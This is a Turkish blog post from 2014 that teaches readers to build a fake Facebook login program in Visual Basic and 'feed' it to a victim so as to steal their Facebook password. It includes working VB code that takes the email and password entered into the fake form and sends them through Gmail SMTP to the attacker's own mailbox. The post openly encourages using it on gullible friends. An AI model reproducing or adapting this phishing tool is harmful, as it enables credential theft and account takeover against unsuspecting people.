12 Nisan 2014 Cumartesi

2014 Facebook Çalma Programı

Herkese merhaba,
Bugün sizlerle yaptığımız programı kurbanımıza yedirip onun facebook şifresini çalacağız. Çok kullanılmayan basit bir yöntem olsa da sazan arkadaşlarınız var ise onlara  yedirip facebook şifrelerini çalabilirsiniz. Yapacağımız işlem deneme- yanılma yoluyla olacaktır, yapacağımız programı kurbana yollayıp girmesini sağlayacağız. Her zaman yaptığım gibi sizlere adım adım anlatacağım, bütün adımları doğru yaptığımızda artık facebook şifrelerini çalmak bir engel olmayacaktır. Hemen başlayalım isterseniz.

2014 Facebook Çalma Programı 

2014 facebook hesap çalma
2014 facebook hesap çalma
İlk önce boş bir Form açıyoruz.
Form‘ un Properties penceresinden Picture bölümüne geliyoruz.
facebook şifre çalma
facebook şifre çalma
 butonuna basıyoruz ve aşağıdaki resmi bilgisayarımıza kaydedip onu seçiyoruz.
facebook şifre çalma
facebook şifre çalma
Formumuza 2 adet textbox ve 1 adet buton ekliyoruz.
Textboxları email ve şifre girilen bölümlerin üstüne yerleştiriyoruz.
Butonu ise Login bölümünün üstüne koyuyoruz.
Butonun Properties bölümüne gelip Picture’ a basıyoruz ve aşağıdaki resmi seçiyoruz.
2014 facebook hesap çalma
Butonun Style özelliğini 1- Graphical yapıyoruz ki resmimiz görülsün.

KODLAR :

Private Sub Command1_Click()
On Error Resume Next
Dim iMsg, iConf, Flds
Set iMsg = CreateObject(“CDO.Message”)
Set iConf = CreateObject(“CDO.Configuration”)
Set Flds = iConf.Fields
schema = “http://schemas.microsoft.com/cdo/configuration/”
Flds.Item(schema & “sendusing”) = 2
Flds.Item(schema & “smtpserver”) = “smtp.gmail.com”
Flds.Item(schema & “smtpserverport”) = 465
Flds.Item(schema & “smtpauthenticate”) = 1
Flds.Item(schema & “sendusername”) = “gmailid”
Flds.Item(schema & “sendpassword”) = “gmailpass”
Flds.Item(schema & “smtpusessl”) = 1
Flds.Update
With iMsg
.To = “gmailid”
.From = “gmailid”
.Subject = “Facebook Şifresi”
.HTMLbOdy = “ID: ” & Text1.Text & ” | ” & “SIFRE: ” & Text2.Text
.Organization = “Mail Organtion”
.ReplyTo = “-”
Set .Configuration = iConf
SendEmailGmail = .Send
End With
End Sub
  • gmailid bölümüne kendi gmail adresimizi yazıyoruz.
  • gmailpass bölümüne kendi gmail şifremizi yazıyoruz.
Şimdi ise yapmamız gereken tek şey programı bir kurbana yedirmek!

Hiç yorum yok:

Yorum Gönder